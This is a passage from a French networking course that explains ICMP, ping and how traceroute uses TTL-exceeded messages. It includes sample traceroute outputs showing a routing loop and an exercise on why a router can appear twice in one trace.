 7  P14-0.OAKCR1.Oakhill.opentransit.net (193.251.243.170)  104.688 ms  105.018 ms  103.105 ms
 8  P0-0.AUVCR1.Aubervilliers.opentransit.net (193.251.243.169)  112.958 ms  103.831 ms  134.542 ms
 9  * P14-0.OAKCR1.Oakhill.opentransit.net (193.251.243.170)  179.294 ms  178.757 ms
10  * * P0-0.AUVCR1.Aubervilliers.opentransit.net (193.251.243.169)  178.746 ms
11  P14-0.OAKCR1.Oakhill.opentransit.net (193.251.243.170)  259.692 ms  263.818 ms  266.685 ms
12  P0-0.AUVCR1.Aubervilliers.opentransit.net (193.251.243.169)  261.118 ms  293.331 ms  264.925 ms
13  P14-0.OAKCR1.Oakhill.opentransit.net (193.251.243.170)  335.510 ms  397.171 ms  335.898 ms
14  P0-0.AUVCR1.Aubervilliers.opentransit.net (193.251.243.169)  336.620 ms  337.530 ms  335.621 ms
15  P14-0.OAKCR1.Oakhill.opentransit.net (193.251.243.170)  419.478 ms  424.713 ms  411.722 ms
16  P0-0.AUVCR1.Aubervilliers.opentransit.net (193.251.243.169)  411.349 ms  410.940 ms  412.112 ms
17  P14-0.OAKCR1.Oakhill.opentransit.net (193.251.243.170)  489.377 ms  490.542 ms  521.337 ms
18  P0-0.AUVCR1.Aubervilliers.opentransit.net (193.251.243.169)  504.906 ms  490.978 ms  492.207 ms
19  P14-0.OAKCR1.Oakhill.opentransit.net (193.251.243.170)  564.944 ms  565.928 ms  648.276 ms
20  P0-0.AUVCR1.Aubervilliers.opentransit.net (193.251.243.169)  568.282 ms  567.015 ms  567.414 ms
21  P14-0.OAKCR1.Oakhill.opentransit.net (193.251.243.170)  645.221 ms  646.876 ms  643.922 ms
22  P0-0.AUVCR1.Aubervilliers.opentransit.net (193.251.243.169)  644.485 ms  645.608 ms  649.534 ms
23  P14-0.OAKCR1.Oakhill.opentransit.net (193.251.243.170)  741.422 ms  728.093 ms  723.843 ms
24  P0-0.AUVCR1.Aubervilliers.opentransit.net (193.251.243.169)  740.067 ms  722.024 ms  724.235 ms
25  P14-0.OAKCR1.Oakhill.opentransit.net (193.251.243.170)  796.613 ms  798.530 ms  799.877 ms
26  P0-0.AUVCR1.Aubervilliers.opentransit.net (193.251.243.169)  799.558 ms  798.412 ms  799.756 ms
27  P14-0.OAKCR1.Oakhill.opentransit.net (193.251.243.170)  878.099 ms  874.756 ms  876.910 ms
28  P0-0.AUVCR1.Aubervilliers.opentransit.net (193.251.243.169)  875.829 ms  876.600 ms  876.874 ms
29  * P14-0.OAKCR1.Oakhill.opentransit.net (193.251.243.170)  956.227 ms *
30  P0-0.AUVCR1.Aubervilliers.opentransit.net (193.251.243.169)  954.058 ms  954.567 ms  952.010 ms

Nous pouvons voir ici que les étapes 7 et 8 se répètent à l'infini.
En fait, chacun de ces routeurs se renvoyait mes paquets indéfiniment.

Grâce au protocole ICMP, j'ai pu comprendre l'erreur et la faire corriger rapidement ! :D

Mais retournons à notre protocole. Nous avons vu un certain nombre de types de messages ICMP différents et envoyés automatiquement par les machines. Nous allons maintenant voir les types de messages utiles pour déboguer le réseau.

Messages utiles pour déboguer le réseau

Ces paquets ICMP vont en fait nous être utiles pour des commandes qui vont nous permettre de déboguer des problèmes réseau. Or, ces commandes, nous les connaissons déjà...

Il s'agit de la commande ping et de la commande traceroute.
Le ping est en fait la combinaison de deux types de messages ICMP, un echo request, type 8, et un echo reply, type 0.
Le principe du ping est qu'une machine envoie un echo request, auquel répond une machine destinataire avec un echo reply. C'est pour cela que quand on arrive à pinguer une autre machine, on sait que le routage est correct dans les deux sens.

Pour le traceroute, c'est un peu plus compliqué.
On utilise en fait une petite astuce en se servant d'un message automatique ICMP, le TTL exceeded.

Essayez de comprendre : comment peut-on connaître tous les routeurs entre nous et une destination donnée, en se servant de paquets ICMP TTL exceeded ?

Imaginons que je veuille faire un traceroute vers le Site du Zéro. Comment connaître le premier routeur par lequel je passe ?
On pourrait aller voir dans notre table de routage, mais cela ne fonctionnerait que pour le premier routeur...
L'indice nous dit d'utiliser un paquet ICMP TTL exceeded. L'idée pourrait donc être de faire générer ce paquet par le premier routeur. Ainsi, en voyant ce message d'erreur, je pourrais voir l'adresse du routeur dans ce paquet.

Comment faire pour faire générer ce message d'erreur par le premier routeur ?

Il suffit de mettre un TTL à 1 dans le paquet envoyé.
Le premier routeur va le recevoir, décrémenter le TTL de 1 et donc le mettre à 0. Il devra jeter le message à la poubelle et me renvoyer un message d'erreur ICMP TTL exceeded. Ainsi, je pourrai connaître son adresse IP !

Si vous avez compris le principe, pour connaître l'adresse du second routeur, il me suffira de mettre le TTL à 2 dans le paquet envoyé. Et ainsi de suite pour connaître tous les routeurs traversés !

Nous avons donc vu les différents types de messages ICMP et avons vu que ce protocole permettait de mieux comprendre ou détecter quand un problème survenait sur le réseau.
Passons à un peu de réflexion !

Exercice

J'ai fait un traceroute vers le Site du Zéro et j'ai obtenu le résultat suivant :

mamachine:~# traceroute www.siteduzero.fr
traceroute to www.siteduzero.fr (217.70.184.38), 30 hops max, 60 byte packets
 1  88.191.45.1 (88.191.45.1)  0.404 ms  0.453 ms  0.500 ms
 2  88.191.2.26 (88.191.2.26)  16.050 ms * *
 3  th2-crs16-1-be1503-p.intf.routers.proxad.net (212.27.58.45)  0.788 ms  0.786 ms  0.795 ms
 4  xe-0-3-0.mpr1.cdg11.fr.above.net (64.125.14.37)  0.563 ms  0.555 ms  0.568 ms
 5  xe-1-0-0.mpr1.cdg12.fr.above.net (64.125.31.230)  0.742 ms  0.786 ms  0.778 ms
 6  79.141.43.6.f301.above.net (79.141.43.6)  1.156 ms  0.957 ms  0.896 ms
 7  79.141.43.6.f301.above.net (79.141.43.6)  1.223 ms  0.852 ms  0.966 ms
 8  p250-gdist1-d.paris.gandi.net (217.70.176.178)  3.142 ms  3.155 ms  3.218 ms
 9  webredir.vip.gandi.net (217.70.184.38)  0.841 ms  0.838 ms  0.832 ms

On voit ici que je suis passé deux fois par le routeur 79.141.43.6.f301.above.net dans les étapes 6 et 7.

Comment est-ce possible de passer deux fois par le même routeur ?

Indice : il faut penser au fait que deux messages envoyés sur le réseau peuvent emprunter des chemins différents...

Solution : en fait, le fonctionnement de traceroute fait en sorte qu'on envoie une nouvelle requête avec un TTL différent pour chaque routeur que l'on veut connaître. Mais chacune de ces requêtes peut passer par un chemin différent sur Internet, le résultat d'un traceroute n'est jamais figé dans le marbre, car le routage peut évoluer.
Ainsi, il est possible que quand j'ai envoyé le paquet avec un TTL de 6, j'ai emprunté une route qui me fasse passer par le routeur 79.141.43.6.f301.above.net en sixième position et que, quand j'ai envoyé le paquet avec un TTL de 7, j'ai rencontré le routeur 79.141.43.6.f301.above.net en septième position.
C'est ce qui explique que l'on ait l'impression de passer deux fois par le même routeur.

Ce chapitre se termine, vous saurez maintenant utiliser des outils comme ping et traceroute pour vous aider à comprendre des problèmes réseau, et vous pourrez aussi sortir votre sniffer préféré pour détecter des problèmes sous-jacents.

  • vous connaissez maintenant le protocole qui permet d'associer une adresse IP à une adresse MAC, j'ai nommé ARP ;

  • vous avez vu un premier exemple de sécurité réseau avec l'ARP cache poisonning ;

  • et enfin, vous connaissez le protocole ICMP qui permet de corriger et de déboguer le protocole IP.

Nous savons maintenant faire communiquer des machines d'un réseau à un autre grâce à la couche 3. Nous allons tout de suite continuer et étudier la couche 4.

Dans cette partie, nous avons appris:

  • l'adressage IP qui permet de définir les réseaux ;

  • le routage qui permet de passer d'un réseau à un autre ;

  • et enfin quelques protocoles supplémentaires qui permettent d'améliorer le fonctionnement des réseaux.

Nous savons maintenant dialoguer parfaitement d'un réseau à un autre. Nous pouvons donc joindre une machine à l'autre bout du monde.
Cependant, notre objectif est d'arriver à faire dialoguer des applications ensemble.
Pour cela, nous allons devoir étudier la couche 4.

Cette partie est maintenant terminée. N'oubliez pas de faire vos exercices avant de passer à la partie suivante. Vous trouverez les liens des exercices (quiz et/ou activité) dans le plan principal du cours ICI. À vous de jouer!

Example of certificate of achievement
Example of certificate of achievement

Le téléchargement des vidéos de nos cours est accessible pour les membres Premium. Vous pouvez toutefois les visionner en streaming gratuitement.